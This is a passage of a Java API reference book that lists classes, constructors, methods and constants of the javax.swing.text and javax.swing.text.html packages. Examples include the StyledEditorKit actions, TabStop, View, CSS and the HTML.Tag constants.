 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.FontFamilyAction | Java 1.2
javax.swing.text | cloneable serializable

This action sets the font family for the selected text or, if no text is selected, sets the font family that is used for newly inserted text. StyledEditorKit creates several instances of this class, each of which is configured to use a different font family.

public static class StyledEditorKit.FontFamilyAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public FontFamilyAction (String nm, String family);
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.FontSizeAction | Java 1.2
javax.swing.text | cloneable serializable

This action sets the font size for the selected text or, if no text is selected, sets the font size that is used for newly inserted text. StyledEditorKit creates several instances of this class, each of which is configured to use a different font size.

public static class StyledEditorKit.FontSizeAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public FontSizeAction (String nm, int size);
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.ForegroundAction | Java 1.2
javax.swing.text | cloneable serializable

This action sets the color of the selected text or, if no text is selected, sets the color that is used for newly inserted text. The color to be used is specified when the ForegroundAction constructor is called. Or the color may be specified by the command string of the ActionEvent. In this case, the color string should be in a format that can be interpreted by the decode() method of java.awt.Color. StyledEditorKit does not include any objects of this type in the array of actions returned by its getAction() method.

public static class StyledEditorKit.ForegroundAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public ForegroundAction (String nm, java.awt.Color fg);
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.ItalicAction | Java 1.2
javax.swing.text | cloneable serializable

This action toggles the italic text character attribute, either on the selected text or, if there is no selection, on the current set of attributes used for inserted text.

public static class StyledEditorKit.ItalicAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public ItalicAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.StyledTextAction | Java 1.2
javax.swing.text | cloneable serializable

This class is the abstract superclass for Action objects that operate on a JEditorPane configured with a StyledEditorKit. This class defines convenience methods that are used by the other inner Action classes defined by StyledEditorKit.

public abstract static class StyledEditorKit.StyledTextAction extends TextAction {
// | Public Constructors
 | public StyledTextAction (String nm);
// | Protected Instance Methods
 | protected final JEditorPane getEditor (java.awt.event.ActionEvent e);
 | protected final StyledDocument getStyledDocument (JEditorPane e);
 | protected final StyledEditorKit getStyledEditorKit (JEditorPane e);
 | protected final void setCharacterAttributes (JEditorPane editor, AttributeSet attr, boolean replace);
 | protected final void setParagraphAttributes (JEditorPane editor, AttributeSet attr, boolean replace);
}

Subclasses: StyledEditorKit.AlignmentAction, StyledEditorKit.BoldAction, StyledEditorKit.FontFamilyAction, StyledEditorKit.FontSizeAction, StyledEditorKit.ForegroundAction, StyledEditorKit.ItalicAction, StyledEditorKit.UnderlineAction, javax.swing.text.html.HTMLEditorKit.HTMLTextAction

StyledEditorKit.UnderlineAction | Java 1.2
javax.swing.text | cloneable serializable

This action toggles the underline character attribute, either on the selected text or, if there is no selection, on the set of attributes used for newly inserted text.

public static class StyledEditorKit.UnderlineAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public UnderlineAction ();
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
TabableView Java 1.2
javax.swing.text

This interface is implemented by View objects whose width may be dependent on the expansion of Tab characters. getTabbedSpan() is passed a horizontal position and a TabExpander object and should return the appropriate width for the View. The getPreferredSpan() method of the View object should return the same width. Applications do not need to use or implement this interface.

public abstract interface TabableView {
// | Public Instance Methods
 | public abstract float getPartialSpan (int p0, int p1);
 | public abstract float getTabbedSpan (float x, TabExpander e);
}
TabExpander Java 1.2
javax.swing.text

This interface specifies how horizontal Tab characters in a Document are expanded. Given the position in the document and on the screen of the Tab character, it returns the horizontal position that the Tab character should tab to. Applications do not typically need to use or implement this interface themselves.

public abstract interface TabExpander {
// | Public Instance Methods
 | public abstract float nextTabStop (float x, int tabOffset);
}

Implementations: javax.swing.text.ParagraphView, PlainView, WrappedPlainView

Passed To: TabableView.getTabbedSpan(), Utilities.{drawTabbedText(), getBreakLocation(), getTabbedTextOffset(), getTabbedTextWidth()}

TableView Java 1.2
javax.swing.text

This BoxView class displays a table composed of TableView.TableRow and TableView.TableCell subviews.

public abstract class TableView extends BoxView {
// | Public Constructors
 | public TableView (javax.swing.text.Element elem);
// | Inner Classes
 | ;
 | ;
// | Public Methods Overriding BoxView
 | public void replace (int offset, int length, View[ ] views);
// | Protected Methods Overriding BoxView
 | protected SizeRequirements calculateMinorAxisRequirements (int axis, SizeRequirements r);
 | protected void layoutMinorAxis (int targetSpan, int axis, int[ ] offsets, int[ ] spans);
// | Protected Methods Overriding CompositeView
 | protected View getViewAtPosition (int pos, java.awt.Rectangle a);
// | Protected Instance Methods
 | protected TableView.TableCell createTableCell (javax.swing.text.Element elem);
 | protected TableView.TableRow createTableRow (javax.swing.text.Element elem);
 | protected void layoutColumns (int targetSpan, int[ ] offsets, int[ ] spans, SizeRequirements[ ] reqs);
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->TableView

TableView.TableCell Java 1.2
javax.swing.text

This BoxView class displays the contents of a table cell. It may contain any type of child views.

public class TableView.TableCell extends BoxView {
// | Public Constructors
 | public TableCell (javax.swing.text.Element elem); |
// | Property Accessor Methods (by property name)
 | public int getColumnCount (); | constant
 | public int getGridColumn (); |
 | public int getGridRow (); |
 | public int getRowCount (); | constant
// | Public Instance Methods
 | public void setGridLocation (int row, int col); |
}

Returned By: TableView.createTableCell()

TableView.TableRow Java 1.2
javax.swing.text

This BoxView displays one row in a table. It should contain TableView.TableCell children.

public class TableView.TableRow extends BoxView {
// | Public Constructors
 | public TableRow (javax.swing.text.Element elem); |
// | Public Methods Overriding BoxView
 | public int getResizeWeight (int axis); | constant
 | public void replace (int offset, int length, View[ ] views); |
// | Protected Methods Overriding BoxView
 | protected void layoutMajorAxis (int targetSpan, int axis, int[ ] offsets, int[ ] spans); |
 | protected void layoutMinorAxis (int targetSpan, int axis, int[ ] offsets, int[ ] spans); |
// | Protected Methods Overriding CompositeView
 | protected View getViewAtPosition (int pos, java.awt.Rectangle a); |
}

Returned By: TableView.createTableRow()

TabSet | Java 1.2
javax.swing.text | serializable

This class represents a set of TabStop objects and provides several methods for querying that set of tab stops.

public class TabSet implements Serializable {
// | Public Constructors
 | public TabSet (TabStop[ ] tabs);
// | Public Instance Methods
 | public TabStop getTab (int index);
 | public TabStop getTabAfter (float location);
 | public int getTabCount ();
 | public int getTabIndex (TabStop tab);
 | public int getTabIndexAfter (float location);
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->TabSet(Serializable)

Passed To: StyleConstants.setTabSet()

Returned By: javax.swing.text.ParagraphView.getTabSet(), StyleConstants.getTabSet()

TabStop | Java 1.2
javax.swing.text | serializable

This class represents a tab stop in a document. Each tab stop has a horizontal position (measured in points), an alignment, and a leader character that is used to fill in the space between the previous character and the tab stop. The various constants defined by this class represent the legal alignment and leader values. See also TabSet.

public class TabStop implements Serializable {
// | Public Constructors
 | public TabStop (float pos); |
 | public TabStop (float pos, int align, int leader); |
// | Public Constants
 | public static final int ALIGN_BAR ; | =5
 | public static final int ALIGN_CENTER ; | =2
 | public static final int ALIGN_DECIMAL ; | =4
 | public static final int ALIGN_LEFT ; | =0
 | public static final int ALIGN_RIGHT ; | =1
 | public static final int LEAD_DOTS ; | =1
 | public static final int LEAD_EQUALS ; | =5
 | public static final int LEAD_HYPHENS ; | =2
 | public static final int LEAD_NONE ; | =0
 | public static final int LEAD_THICKLINE ; | =4
 | public static final int LEAD_UNDERLINE ; | =3
// | Public Instance Methods
 | public int getAlignment (); |
 | public int getLeader (); |
 | public float getPosition (); |
// | Public Methods Overriding Object
 | public boolean equals (Object other); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->TabStop(Serializable)

Passed To: TabSet.{getTabIndex(), TabSet()}

Returned By: TabSet.{getTab(), getTabAfter()}

TextAction | Java 1.2
javax.swing.text | cloneable serializable

This abstract class is an Action that extends AbstractAction. It does not implement any of the abstract methods of AbstractAction but merely adds new protected methods that subclasses can use to figure out on what JTextComponent they are supposed to operate. These methods allow subclasses to define generic actions that are not specific to a particular JTextComponent but that can be used on any text component. Applications may subclass this interface to define custom actions, but they do not often need to do so. DefaultEditorKit and StyledEditorKit define a number of inner classes that subclass TextAction.

public abstract class TextAction extends AbstractAction {
// | Public Constructors
 | public TextAction (String name);
// | Public Class Methods
 | public static final Action[ ] augmentList (Action[ ] list1, Action[ ] list2);
// | Protected Instance Methods
 | protected final JTextComponent getFocusedComponent ();
 | protected final JTextComponent getTextComponent (java.awt.event.ActionEvent e);
}

Hierarchy: Object-->AbstractAction(Action(java.awt.event.ActionListener(java.util.EventListener)),Cloneable,Serializable)-->TextAction

Subclasses: DefaultEditorKit.BeepAction, DefaultEditorKit.CopyAction, DefaultEditorKit.CutAction, DefaultEditorKit.DefaultKeyTypedAction, DefaultEditorKit.InsertBreakAction, DefaultEditorKit.InsertContentAction, DefaultEditorKit.InsertTabAction, DefaultEditorKit.PasteAction, StyledEditorKit.StyledTextAction

Utilities Java 1.2
javax.swing.text

This class defines various static utility methods that are used internally by the javax.swing.text package. Although applications may occasionally find some of these methods useful, they are intended primarily for internal use and for use by programmers who are subclassing or heavily customizing javax.swing.text classes.

public class Utilities {
// | Public Constructors
 | public Utilities ();
// | Public Class Methods
 | public static final int drawTabbedText (Segment s, int x, int y, java.awt.Graphics g, TabExpander e, int startOffset);
 | public static final int getBreakLocation (Segment s, java.awt.FontMetrics metrics, int x0, int x, TabExpander e, int startOffset);
 | public static final int getNextWord (JTextComponent c, int offs) throws BadLocationException;
 | public static final javax.swing.text.Element getParagraphElement (JTextComponent c, int offs);
 | public static final int getPositionAbove (JTextComponent c, int offs, int x) throws BadLocationException;
 | public static final int getPositionBelow (JTextComponent c, int offs, int x) throws BadLocationException;
 | public static final int getPreviousWord (JTextComponent c, int offs) throws BadLocationException;
 | public static final int getRowEnd (JTextComponent c, int offs) throws BadLocationException;
 | public static final int getRowStart (JTextComponent c, int offs) throws BadLocationException;
 | public static final int getTabbedTextOffset (Segment s, java.awt.FontMetrics metrics, int x0, int x, TabExpander e, int startOffset);
 | public static final int getTabbedTextOffset (Segment s, java.awt.FontMetrics metrics, int x0, int x, TabExpander e, int startOffset, boolean round);
 | public static final int getTabbedTextWidth (Segment s, java.awt.FontMetrics metrics, int x, TabExpander e, int startOffset);
 | public static final int getWordEnd (JTextComponent c, int offs) throws BadLocationException;
 | public static final int getWordStart (JTextComponent c, int offs) throws BadLocationException;
}
View Java 1.2
javax.swing.text

This class is the abstract superclass of a hierarchy of classes used to display various parts of a text document. Just as java.awt.Component is the root of the component hierarchy and has many subclasses in java.awt and javax.swing, View is the root of the view hierarchy and has many subclasses in javax.swing.text and javax.swing.text.html. Just as the various Component classes are used to display different GUI elements, the various View classes are used to display different types of document elements.

Each type of Document has a ViewFactory object that is used to create an appropriate View object for a given Element of a document. Because a Document consists of a tree of Element objects, the document is displayed using a tree of View objects. Just like GUI components, View objects are nested into a containment hierarchy. Thus, a BoxView might contain a TableView and several ParagraphView objects, each of which contains a number of PlainView objects interspersed with IconView objects.

Like a component, a View implementation must be able to paint itself, return its children, report its preferred size, and so on. In fact, you can think of a View as a kind of extremely lightweight component, with a number of methods analogous to Component methods. These include paint(), getView(), getViewCount(), getParent(), getPreferredSpan(), getMinimumSpan(), getMaximumSpan(), and isVisible().

A View implementation must also be able to convert between the document coordinate system--an integer position within the document--and the on-screen coordinate system in which things like mouse clicks and drags are measured. The viewToModel() and modelToView() methods are called to perform these conversions.

View objects are unlike components in one important aspect, however. They may be subject to word-wrapping and line breaking. The getBreakWeight() method returns an integer that specifies whether a given position is a reasonable place at which to insert a line break. If a View supports line breaking, its breakView() method should break the view into two and return the newly created View.

Programmers defining custom document types or custom document content types may need to create custom View implementations. Applications typically do not need to use or subclass this class directly.

public abstract class View implements SwingConstants {
// | Public Constructors
 | public View (javax.swing.text.Element elem); |
// | Public Constants
 | public static final int BadBreakWeight ; | =0
 | public static final int ExcellentBreakWeight ; | =2000
 | public static final int ForcedBreakWeight ; | =3000
 | public static final int GoodBreakWeight ; | =1000
 | public static final int X_AXIS ; | =0
 | public static final int Y_AXIS ; | =1
// | Property Accessor Methods (by property name)
 | public AttributeSet getAttributes (); |
 | public Container getContainer (); |
 | public Document getDocument (); |
 | public javax.swing.text.Element getElement (); |
 | public int getEndOffset (); |
 | public View getParent (); |
 | public void setParent (View parent); |
 | public int getStartOffset (); |
 | public int getViewCount (); | constant
 | public ViewFactory getViewFactory (); |
 | public boolean isVisible (); | constant
// | Public Instance Methods
 | public View breakView (int axis, int offset, float pos, float len); |
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); | empty
 | public View createFragment (int p0, int p1); |
 | public float getAlignment (int axis); |
 | public int getBreakWeight (int axis, float pos, float len); |
 | public java.awt.Shape getChildAllocation (int index, java.awt.Shape a); | constant
 | public float getMaximumSpan (int axis); |
 | public float getMinimumSpan (int axis); |
 | public int getNextVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException; |
 | public abstract float getPreferredSpan (int axis); |
 | public int getResizeWeight (int axis); | constant
 | public View getView (int n); | constant
 | public void insertUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); | empty
 | public abstract java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException; |
 | public java.awt.Shape modelToView (int p0, Position.Bias b0, int p1, Position.Bias b1, java.awt.Shape a) throws BadLocationException; |
 | public abstract void paint (java.awt.Graphics g, java.awt.Shape allocation); |
 | public void preferenceChanged (View child, boolean width, boolean height); |
 | public void removeUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f); | empty
 | public void setSize (float width, float height); | empty
 | public abstract int viewToModel (float x, float y, java.awt.Shape a, Position.Bias[ ] biasReturn); |
// | Deprecated Public Methods
# | public java.awt.Shape modelToView (int pos, java.awt.Shape a) throws BadLocationException; |
# | public int viewToModel (float x, float y, java.awt.Shape a); |
}

Hierarchy: Object-->View(SwingConstants)

Subclasses: ComponentView, CompositeView, IconView, LabelView, PlainView

Passed To: Too many methods to list.

Returned By: Too many methods to list.

ViewFactory Java 1.2
javax.swing.text

The ViewFactory interface defines a basic create() method that creates View objects from the individual Element nodes of a Document. Different types of documents use different ViewFactory implementations to implement a custom Element to View mapping. The getViewFactory() method of EditorKit returns a ViewFactory for a particular document type.

public abstract interface ViewFactory {
// | Public Instance Methods
 | public abstract View create (javax.swing.text.Element elem);
}

Implementations: javax.swing.text.html.HTMLEditorKit.HTMLFactory

Passed To: Too many methods to list.

Returned By: DefaultEditorKit.getViewFactory(), EditorKit.getViewFactory(), StyledEditorKit.getViewFactory(), View.getViewFactory(), javax.swing.text.html.HTMLEditorKit.getViewFactory()

WrappedPlainView Java 1.2
javax.swing.text

This class displays multiple lines of plain text. It can perform tab expansion and line wrapping. See also PlainView.

public class WrappedPlainView extends BoxView implements TabExpander {
// | Public Constructors
 | public WrappedPlainView (javax.swing.text.Element elem);
 | public WrappedPlainView (javax.swing.text.Element elem, boolean wordWrap);
// | Methods Implementing TabExpander
 | public float nextTabStop (float x, int tabOffset);
// | Public Methods Overriding BoxView
 | public float getMaximumSpan (int axis);
 | public float getMinimumSpan (int axis);
 | public float getPreferredSpan (int axis);
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
 | public void setSize (float width, float height);
// | Public Methods Overriding CompositeView
 | public void changedUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
 | public void insertUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
 | public void removeUpdate (javax.swing.event.DocumentEvent e, java.awt.Shape a, ViewFactory f);
// | Protected Methods Overriding CompositeView
 | protected void loadChildren (ViewFactory f);
// | Protected Instance Methods
 | protected int calculateBreakPosition (int p0, int p1);
 | protected void drawLine (int p0, int p1, java.awt.Graphics g, int x, int y);
 | protected int drawSelectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
 | protected int drawUnselectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
 | protected final Segment getLineBuffer ();
 | protected int getTabSize ();
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->WrappedPlainView(TabExpander)

Previous | Home | Next
29. The javax.swing.table Package | Book Index | 31. The javax.swing.text.html Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.text.html Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 31. The javax.swing.text.html Package

The javax.swing.text.html package defines classes to support the display and editing of HTML documents. The key class is HTMLEditorKit, which is used to customize a javax.swing.JEditorPane component to work with HTML. Figure 31-1 shows the class hierarchy of this package. See Chapter 3, "Swing Programming Topics", for a discussion and example of using the HTMLEditorKit.

Figure 31-1. The javax.swing.text.html package

BlockView Java 1.2
javax.swing.text.html

This View implementation displays HTML block elements and can handle CSS attributes for those elements.

public class BlockView extends BoxView {
// | Public Constructors
 | public BlockView (javax.swing.text.Element elem, int axis);
// | Public Methods Overriding BoxView
 | public float getAlignment (int axis);
 | public int getResizeWeight (int axis);
 | public void paint (java.awt.Graphics g, java.awt.Shape allocation);
// | Protected Methods Overriding BoxView
 | protected SizeRequirements calculateMajorAxisRequirements (int axis, SizeRequirements r);
 | protected SizeRequirements calculateMinorAxisRequirements (int axis, SizeRequirements r);
// | Public Methods Overriding CompositeView
 | public void changedUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
// | Public Methods Overriding View
 | public AttributeSet getAttributes ();
// | Protected Instance Methods
 | protected StyleSheet getStyleSheet ();
 | protected void setPropertiesFromAttributes ();
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->BlockView

Subclasses: ListView

CSS Java 1.2
javax.swing.text.html

This class defines an inner class that is used to represent Cascading Style Sheet (CSS) attributes in an AttributeSet. It also defines static methods that return all defined CSS attribute objects and allow you to look up a CSS attribute object by name.

public class CSS {
// | Public Constructors
 | public CSS ();
// | Inner Classes
 | ;
// | Public Class Methods
 | public static CSS.Attribute[ ] getAllAttributeKeys ();
 | public static final CSS.Attribute getAttribute (String name);
}
CSS.Attribute Java 1.2
javax.swing.text.html

Instances of this class are used as key values in an AttributeSet to represent CSS attributes. Each CSS.Attribute object supports getDefaultValue() and isInherited() methods that return more information about the attribute. In addition, the toString() method returns the name of the attribute. The CSS.Attribute class is final and does not have a public constructor, so it cannot be instantiated or subclassed. However, it defines constant object values for each of the CSS attributes specified by the CSS specification.

public static final class CSS.Attribute {
// | No Constructor
// | Public Constants
 | public static final CSS.Attribute BACKGROUND ;
 | public static final CSS.Attribute BACKGROUND_ATTACHMENT ;
 | public static final CSS.Attribute BACKGROUND_COLOR ;
 | public static final CSS.Attribute BACKGROUND_IMAGE ;
 | public static final CSS.Attribute BACKGROUND_POSITION ;
 | public static final CSS.Attribute BACKGROUND_REPEAT ;
 | public static final CSS.Attribute BORDER ;
 | public static final CSS.Attribute BORDER_BOTTOM ;
 | public static final CSS.Attribute BORDER_BOTTOM_WIDTH ;
 | public static final CSS.Attribute BORDER_COLOR ;
 | public static final CSS.Attribute BORDER_LEFT ;
 | public static final CSS.Attribute BORDER_LEFT_WIDTH ;
 | public static final CSS.Attribute BORDER_RIGHT ;
 | public static final CSS.Attribute BORDER_RIGHT_WIDTH ;
 | public static final CSS.Attribute BORDER_STYLE ;
 | public static final CSS.Attribute BORDER_TOP ;
 | public static final CSS.Attribute BORDER_TOP_WIDTH ;
 | public static final CSS.Attribute BORDER_WIDTH ;
 | public static final CSS.Attribute CLEAR ;
 | public static final CSS.Attribute COLOR ;
 | public static final CSS.Attribute DISPLAY ;
 | public static final CSS.Attribute FLOAT ;
 | public static final CSS.Attribute FONT ;
 | public static final CSS.Attribute FONT_FAMILY ;
 | public static final CSS.Attribute FONT_SIZE ;
 | public static final CSS.Attribute FONT_STYLE ;
 | public static final CSS.Attribute FONT_VARIANT ;
 | public static final CSS.Attribute FONT_WEIGHT ;
 | public static final CSS.Attribute HEIGHT ;
 | public static final CSS.Attribute LETTER_SPACING ;
 | public static final CSS.Attribute LINE_HEIGHT ;
 | public static final CSS.Attribute LIST_STYLE ;
 | public static final CSS.Attribute LIST_STYLE_IMAGE ;
 | public static final CSS.Attribute LIST_STYLE_POSITION ;
 | public static final CSS.Attribute LIST_STYLE_TYPE ;
 | public static final CSS.Attribute MARGIN ;
 | public static final CSS.Attribute MARGIN_BOTTOM ;
 | public static final CSS.Attribute MARGIN_LEFT ;
 | public static final CSS.Attribute MARGIN_RIGHT ;
 | public static final CSS.Attribute MARGIN_TOP ;
 | public static final CSS.Attribute PADDING ;
 | public static final CSS.Attribute PADDING_BOTTOM ;
 | public static final CSS.Attribute PADDING_LEFT ;
 | public static final CSS.Attribute PADDING_RIGHT ;
 | public static final CSS.Attribute PADDING_TOP ;
 | public static final CSS.Attribute TEXT_ALIGN ;
 | public static final CSS.Attribute TEXT_DECORATION ;
 | public static final CSS.Attribute TEXT_INDENT ;
 | public static final CSS.Attribute TEXT_TRANSFORM ;
 | public static final CSS.Attribute VERTICAL_ALIGN ;
 | public static final CSS.Attribute WHITE_SPACE ;
 | public static final CSS.Attribute WIDTH ;
 | public static final CSS.Attribute WORD_SPACING ;
// | Public Instance Methods
 | public String getDefaultValue ();
 | public boolean isInherited ();
// | Public Methods Overriding Object
 | public String toString ();
}

Returned By: CSS.{getAllAttributeKeys(), getAttribute()}

Type Of: Too many fields to list.

FormView Java 1.2
javax.swing.text.html

This View displays <INPUT>, <SELECT>, and <TEXTAREA> elements within an HTML <FORM>.

public class FormView extends ComponentView implements java.awt.event.ActionListener {
// | Public Constructors
 | public FormView (javax.swing.text.Element elem);
// | Public Constants
 | public static final String RESET ;
 | public static final String SUBMIT ;
// | Inner Classes
 | ;
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent evt);
// | Protected Methods Overriding ComponentView
 | protected Component createComponent ();
// | Protected Instance Methods
 | protected void imageSubmit (String imageData);
 | protected void submitData (String data);
}

Hierarchy: Object-->View(SwingConstants)-->ComponentView-->FormView(java.awt.event.ActionListener(java.util.EventListener))

FormView.MouseEventListener Java 1.2
javax.swing.text.html

This class is used internally by FormView to handle clicks on HTML <INPUT> tags that have the TYPE=image attribute specified.

protected class FormView.MouseEventListener extends java.awt.event.MouseAdapter {
// | Protected Constructors
 | protected MouseEventListener ();
// | Public Methods Overriding MouseAdapter
 | public void mouseReleased (java.awt.event.MouseEvent evt);
}
HTML Java 1.2
javax.swing.text.html

This class defines inner classes that are used to represent HTML tags and attributes. It also defines several static convenience methods that are used with the inner classes. In particular, getAttributeKey() and getTag() look up HTML.Attribute and HTML.Tag values by name.

public class HTML {
// | Public Constructors
 | public HTML (); |
// | Public Constants
 | public static final String NULL_ATTRIBUTE_VALUE ; | ="#DEFAULT"
// | Inner Classes
 | ; |
 | ; |
 | ; |
// | Public Class Methods
 | public static HTML.Attribute[ ] getAllAttributeKeys (); |
 | public static HTML.Tag[ ] getAllTags (); |
 | public static HTML.Attribute getAttributeKey (String attName); |
 | public static int getIntegerAttributeValue (AttributeSet attr, HTML.Attribute key, int def); |
 | public static HTML.Tag getTag (String tagName); |
}
HTML.Attribute Java 1.2
javax.swing.text.html

This class defines a number of constant instances of itself to represent HTML attributes. The class has no public constructor and is final, so new attribute objects cannot be created by instantiation or subclassing.

public static final class HTML.Attribute {
// | No Constructor
// | Public Constants
 | public static final HTML.Attribute ACTION ;
 | public static final HTML.Attribute ALIGN ;
 | public static final HTML.Attribute ALINK ;
 | public static final HTML.Attribute ALT ;
 | public static final HTML.Attribute ARCHIVE ;
 | public static final HTML.Attribute BACKGROUND ;
 | public static final HTML.Attribute BGCOLOR ;
 | public static final HTML.Attribute BORDER ;
 | public static final HTML.Attribute CELLPADDING ;
 | public static final HTML.Attribute CELLSPACING ;
 | public static final HTML.Attribute CHECKED ;
 | public static final HTML.Attribute CLASS ;
 | public static final HTML.Attribute CLASSID ;
 | public static final HTML.Attribute CLEAR ;
 | public static final HTML.Attribute CODE ;
 | public static final HTML.Attribute CODEBASE ;
 | public static final HTML.Attribute CODETYPE ;
 | public static final HTML.Attribute COLOR ;
 | public static final HTML.Attribute COLS ;
 | public static final HTML.Attribute COLSPAN ;
 | public static final HTML.Attribute COMMENT ;
 | public static final HTML.Attribute COMPACT ;
 | public static final HTML.Attribute CONTENT ;
 | public static final HTML.Attribute COORDS ;
 | public static final HTML.Attribute DATA ;
 | public static final HTML.Attribute DECLARE ;
 | public static final HTML.Attribute DIR ;
 | public static final HTML.Attribute DUMMY ;
 | public static final HTML.Attribute ENCTYPE ;
 | public static final HTML.Attribute ENDTAG ;
 | public static final HTML.Attribute FACE ;
 | public static final HTML.Attribute FRAMEBORDER ;
 | public static final HTML.Attribute HALIGN ;
 | public static final HTML.Attribute HEIGHT ;
 | public static final HTML.Attribute HREF ;
 | public static final HTML.Attribute HSPACE ;
 | public static final HTML.Attribute HTTPEQUIV ;
 | public static final HTML.Attribute ID ;
 | public static final HTML.Attribute ISMAP ;
 | public static final HTML.Attribute LANG ;
 | public static final HTML.Attribute LANGUAGE ;
 | public static final HTML.Attribute LINK ;
 | public static final HTML.Attribute LOWSRC ;
 | public static final HTML.Attribute MARGINHEIGHT ;
 | public static final HTML.Attribute MARGINWIDTH ;
 | public static final HTML.Attribute MAXLENGTH ;
 | public static final HTML.Attribute METHOD ;
 | public static final HTML.Attribute MULTIPLE ;
 | public static final HTML.Attribute N ;
 | public static final HTML.Attribute NAME ;
 | public static final HTML.Attribute NOHREF ;
 | public static final HTML.Attribute NORESIZE ;
 | public static final HTML.Attribute NOSHADE ;
 | public static final HTML.Attribute NOWRAP ;
 | public static final HTML.Attribute PROMPT ;
 | public static final HTML.Attribute REL ;
 | public static final HTML.Attribute REV ;
 | public static final HTML.Attribute ROWS ;
 | public static final HTML.Attribute ROWSPAN ;
 | public static final HTML.Attribute SCROLLING ;
 | public static final HTML.Attribute SELECTED ;
 | public static final HTML.Attribute SHAPE ;
 | public static final HTML.Attribute SHAPES ;
 | public static final HTML.Attribute SIZE ;
 | public static final HTML.Attribute SRC ;
 | public static final HTML.Attribute STANDBY ;
 | public static final HTML.Attribute START ;
 | public static final HTML.Attribute STYLE ;
 | public static final HTML.Attribute TARGET ;
 | public static final HTML.Attribute TEXT ;
 | public static final HTML.Attribute TITLE ;
 | public static final HTML.Attribute TYPE ;
 | public static final HTML.Attribute USEMAP ;
 | public static final HTML.Attribute VALIGN ;
 | public static final HTML.Attribute VALUE ;
 | public static final HTML.Attribute VALUETYPE ;
 | public static final HTML.Attribute VERSION ;
 | public static final HTML.Attribute VLINK ;
 | public static final HTML.Attribute VSPACE ;
 | public static final HTML.Attribute WIDTH ;
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: HTML.getIntegerAttributeValue()

Returned By: HTML.{getAllAttributeKeys(), getAttributeKey()}

Type Of: Too many fields to list.

HTML.Tag Java 1.2
javax.swing.text.html

This class defines constant instances of itself that represent HTML tags. The breaksFlow(), isBlock(), and isPreformatted() methods return additional information about the basic behavior of each tag. HTML.Tag defines constants for all of the standard HTML tags. It can be subclassed to add support for custom tags used with a customized HTML parser.

public static class HTML.Tag {
// | Protected Constructors
 | protected Tag (String id);
 | protected Tag (String id, boolean causesBreak, boolean isBlock);
// | Public Constants
 | public static final HTML.Tag A ;
 | public static final HTML.Tag ADDRESS ;
 | public static final HTML.Tag APPLET ;
 | public static final HTML.Tag AREA ;
 | public static final HTML.Tag B ;
 | public static final HTML.Tag BASE ;
 | public static final HTML.Tag BASEFONT ;
 | public static final HTML.Tag BIG ;
 | public static final HTML.Tag BLOCKQUOTE ;
 | public static final HTML.Tag BODY ;
 | public static final HTML.Tag BR ;
 | public static final HTML.Tag CAPTION ;
 | public static final HTML.Tag CENTER ;
 | public static final HTML.Tag CITE ;
 | public static final HTML.Tag CODE ;
 | public static final HTML.Tag COMMENT ;
 | public static final HTML.Tag CONTENT ;
 | public static final HTML.Tag DD ;
 | public static final HTML.Tag DFN ;
 | public static final HTML.Tag DIR ;
 | public static final HTML.Tag DIV ;
 | public static final HTML.Tag DL ;
 | public static final HTML.Tag DT ;
 | public static final HTML.Tag EM ;
 | public static final HTML.Tag FONT ;
 | public static final HTML.Tag FORM ;
 | public static final HTML.Tag FRAME ;
 | public static final HTML.Tag FRAMESET ;
 | public static final HTML.Tag H1 ;
 | public static final HTML.Tag H2 ;
 | public static final HTML.Tag H3 ;
 | public static final HTML.Tag H4 ;
 | public static final HTML.Tag H5 ;
 | public static final HTML.Tag H6 ;
 | public static final HTML.Tag HEAD ;
 | public static final HTML.Tag HR ;
 | public static final HTML.Tag HTML ;
 | public static final HTML.Tag I ;
 | public static final HTML.Tag IMG ;
 | public static final HTML.Tag IMPLIED ;
 | public static final HTML.Tag INPUT ;
 | public static final HTML.Tag ISINDEX ;
 | public static final HTML.Tag KBD ;
 | public static final HTML.Tag LI ;
 | public static final HTML.Tag LINK ;
 | public static final HTML.Tag MAP ;
 | public static final HTML.Tag MENU ;
 | public static final HTML.Tag META ;
 | public static final HTML.Tag NOFRAMES ;
 | public static final HTML.Tag OBJECT ;
 | public static final HTML.Tag OL ;
 | public static final HTML.Tag OPTION ;
 | public static final HTML.Tag P ;
 | public static final HTML.Tag PARAM ;
 | public static final HTML.Tag PRE ;
